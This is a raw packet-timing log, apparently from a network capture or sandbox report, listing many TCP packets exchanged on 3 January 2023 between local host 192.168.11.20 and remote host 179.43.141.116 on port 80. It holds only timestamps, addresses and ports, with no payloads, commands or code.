                                                                              Jan 3, 2023 08:16:06.492975950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.492985010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493031979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493057966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493077993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493107080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493124962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493164062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493170977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493212938 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493216991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493263960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493272066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493309975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493335009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493355989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493383884 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493402004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493443966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493443966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493448019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493494034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493541002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493541956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493541956 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493586063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493590117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493633032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493680954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493689060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493689060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493726969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493773937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493803024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493819952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493865967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493885040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493885040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493911982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493932962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.493957996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.493982077 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494004011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494030952 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494050026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494080067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494096041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494128942 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494142056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494179010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494189024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494235039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494280100 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494324923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494332075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494332075 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494370937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494416952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494429111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494429111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494462967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494508982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494525909 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494554996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494575024 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494601965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494625092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494625092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494648933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494673014 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494694948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494740963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494771004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494787931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494822025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494822025 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494836092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494884014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494919062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494919062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.494930029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.494975090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495018959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495018959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495021105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495066881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495112896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495115042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495160103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495206118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495217085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495251894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495297909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495316029 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495342970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495363951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495388985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495431900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495434046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495480061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495524883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495568037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495569944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495615959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495639086 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495661020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495687962 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495707035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495753050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495757103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495798111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495820045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495843887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495889902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.495908976 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.495938063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.496000051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.496000051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.496115923 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.505836010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.505901098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.505949974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.505999088 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506012917 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506046057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506093979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506139994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506162882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506162882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506186962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506220102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506234884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506272078 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506283045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506330967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506346941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506378889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506426096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506472111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506479979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506519079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506547928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506567001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506581068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506616116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506629944 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506663084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506711006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506757975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506772995 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506804943 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506851912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506863117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506899118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506911993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506947041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.506962061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.506994963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507040977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507088900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507106066 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507136106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507183075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507195950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507230043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507277012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507278919 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507308960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507323980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507371902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507419109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507458925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507466078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507513046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507530928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507530928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507559061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507606983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507627010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507652998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507699966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507699966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507747889 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507791042 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507796049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507843018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507889032 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507889986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507936954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.507937908 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.507982969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508024931 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508028984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508076906 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508116007 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508146048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508188009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508196115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508234978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508244038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508291006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508316994 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508377075 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508389950 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508429050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508476019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508477926 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508522034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508538961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508569002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508615017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508630037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508630037 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508661032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508708000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508744955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508754969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508801937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508847952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508862972 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508893967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508943081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.508955002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508955002 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.508990049 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509052992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509052992 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509133101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509183884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509202957 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509232044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509278059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509285927 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509326935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509347916 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509387970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509435892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509448051 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509484053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509531021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509535074 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509577036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509593010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509593010 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509624004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509670973 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509691000 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509716988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509764910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509840965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509862900 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509891987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509941101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.509952068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.509989023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510034084 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510035992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510081053 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510082960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510129929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510130882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510178089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510179996 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510225058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510256052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510272026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510318041 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510338068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510338068 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510365009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510411024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510436058 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510457039 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510484934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510504007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510550022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510552883 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510596037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510642052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510643005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510688066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510715961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510715961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510735035 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510781050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510827065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510828018 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510875940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510921955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510945082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.510967970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.510993004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511014938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511060953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511065960 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511106014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511148930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511148930 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511152983 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511219978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511245012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511286020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511318922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511333942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511382103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511390924 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511429071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511440039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511475086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511487961 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511522055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511569023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511583090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511583090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511615992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511662006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511678934 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511708021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511754990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511769056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511801004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511818886 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511847019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511893988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511894941 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.511940002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.511986017 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512031078 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512032986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512079954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.512094975 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512094975 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.512125969 CET8049869179.43.141.116192.168.11.20
